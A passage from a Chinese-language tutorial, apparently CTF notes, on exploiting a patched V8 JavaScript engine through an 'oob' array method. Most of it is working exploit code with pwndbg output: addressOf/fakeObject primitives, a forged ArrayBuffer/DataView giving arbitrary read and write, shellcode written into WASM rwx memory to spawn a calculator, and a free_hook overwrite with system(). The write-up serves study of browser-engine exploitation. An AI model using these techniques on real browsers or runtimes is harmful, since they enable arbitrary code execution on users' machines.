- map: 0x101468c421b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x27a91ed8e981 <Object map = 0x101468c42209>
- elements: 0x159a28e40c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0xbbd8c44edc0
- byte_length: 8
- detachable
- properties: 0x159a28e40c71 <FixedArray[0]> {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
pwndbg> tel 0x0bbd8c44eda0
00:0000 0xbbd8c44eda0 —▸ 0x101468c421b9 ◂— 0x80000159a28e401
01:0008 0xbbd8c44eda8 —▸ 0x159a28e40c71 ◂— 0x159a28e408
02:0010 0xbbd8c44edb0 —▸ 0x159a28e40c71 ◂— 0x159a28e408
03:0018 0xbbd8c44edb8 ◂— 0x1000
04:0020 0xbbd8c44edc0 —▸ 0x5606fd7c9600 ◂— 0
05:0028 0xbbd8c44edc8 ◂— 2
06:0030 0xbbd8c44edd0 ◂— 0
07:0038 0xbbd8c44edd8 ◂— 0
```
之后的读写原语就很容易构造:
```js
function arb_read_qword(addr) {
dv1.setBigUint64(0, addr, true);
return dv2.getBigUint64(0, true);
}
function arb_write_qword(addr, value) {
dv1.setBigUint64(0, addr, true);
return dv2.setBigUint64(0, value, true);
}
```
还有一种直接伪造`ArrayBuffer`​的方式:
![image](assets/image-20240907011413-87xf3t5.png)
这种方式关键在于`Fake Map`​的伪造,这种方式能够实现在于`Type`​字段是硬编码的,可以从内存中直接获取,至于为何不直接使用`oob`​获取,是因为`Dataview`​并不是`Array`​类型,不具有`oob`​函数。
```js
var float_ab_mem = [
u2d(0n), // Map
u2d(0n), // Properties
u2d(0n), // Elements
u2d(0x1000n << 32n), // ByteLength
u2d(0n), // BackingStore
u2d(0n), // Map
u2d(0x1900042319080808n), // Type
];
%DebugPrint(float_ab_mem);
%SystemBreak();
var fake_ab_addr = addressOf(float_ab_mem) + 0x58n;
float_ab_mem[0] = u2d(fake_ab_addr + 0x28n);
var fake_ab = fakeObject(fake_ab_addr);
var fake_dv = new DataView(fake_ab);
function arb_read_qword(addr) {
float_ab_mem[4] = u2d(addr);
return fake_dv.getBigUint64(0, true);
}
function arb_write_qword(addr, value) {
float_ab_mem[4] = u2d(addr);
return fake_dv.setBigUint64(0, value, true);
}
```
## 劫持程序执行流
### 利用WASM写ShellCode
低版本的V8在运行WASM时会生成`rwx`的内存段向内部写入shellcode即可控制程序执行流。直接在内存中搜索shellcode的首地址找到后发现就是`WebAssembly.Instance`​的地址固定偏移处的地址:
```js
pwndbg> search -8 0x29e6f35e7000
Searching for value: b'\x00p^\xf3\xe6)\x00\x00'
[anon_9c1ffec0] 0x9c1ffee1728 0x29e6f35e7000
[heap] 0x55d560baec48 0x29e6f35e7000
[heap] 0x55d560baecb0 0x29e6f35e7000
[heap] 0x55d560baecd0 0x29e6f35e7000
[heap] 0x55d560bb7e30 0x29e6f35e7000
pwndbg> distance 0x09c1ffee16a1 0x9c1ffee1728
0x9c1ffee16a1->0x9c1ffee1728 is 0x87 bytes (0x10 words)
```
以下是弹计算器的`exp`
```js
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
%DebugPrint(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
var obj = {};
var object_array = [obj];
var object_array_map = object_array.oob();
var float_array = [1.1];
var float_array_map = float_array.oob();
function addressOf(obj) {
float_array.oob(object_array_map);
float_array[0] = obj;
float_array.oob(float_array_map);
return d2u(float_array[0]);
}
function fakeObject(addr) {
object_array.oob(float_array_map);
object_array[0] = u2d(addr | 1n);
object_array.oob(object_array_map);
return object_array[0];
}
var float_ab_mem = [
u2d(0n), // Map
u2d(0n), // Properties
u2d(0n), // Elements
u2d(0x1000n << 32n), // ByteLength
u2d(0n), // BackingStore
u2d(0n), // Map
u2d(0x1900042319080808n), // Type
];
%DebugPrint(float_ab_mem);
%SystemBreak();
var fake_ab_addr = addressOf(float_ab_mem) + 0x58n;
float_ab_mem[0] = u2d(fake_ab_addr + 0x28n);
var fake_ab = fakeObject(fake_ab_addr);
var fake_dv = new DataView(fake_ab);
function arb_read_qword(addr) {
float_ab_mem[4] = u2d(addr);
return fake_dv.getBigUint64(0, true);
}
function arb_write_qword(addr, value) {
float_ab_mem[4] = u2d(addr);
return fake_dv.setBigUint64(0, value, true);
}
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
42, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
let f = wasm_mod.exports.main;
var rwx_mem_addr = arb_read_qword(addressOf(wasm_mod) - 1n + 0x88n);
print("[*] rwx mem addr: " + hex(rwx_mem_addr));
var shellcode = [
0x636c6163782fb848n,
0x73752fb848500000n,
0x8948506e69622f72n,
0x89485750c03148e7n,
0x3ac0c748d23148e6n,
0x4944b84850000030n,
0x48503d59414c5053n,
0x485250c03148e289n,
0x00003bc0c748e289n,
0x0000000000050f00n
]
for (let i = 0; i < shellcode.length; i++) {
arb_write_qword(rwx_mem_addr + BigInt(i) * 8n, shellcode[i]);
}
f();
```
### 劫持free_hook
这个利用很简单只需要想办法找到libc基址即可。
```js
var array_addr = addressOf(Array);
var elf_base = arbitrary_address_read(arbitrary_address_read(array_addr - 1n + 0x30n) + 0x41n) - 0xf8f680n;
print("[*] elf base: " + hex(elf_base));
var libc_base = arbitrary_address_read(elf_base + 0x1271b90n) - 0x7b0c0n;
print("[*] libc base: " + hex(libc_base));
var system_addr = libc_base + 0x4f420n;
var free_hook_addr = libc_base + 0x3ed8e8n;
arbitrary_address_write(free_hook_addr, system_addr);
print("/snap/bin/gnome-calculator");
```
问题:
1. Element 的构成
2. `var`​和`let`​的区别以及内存中的体现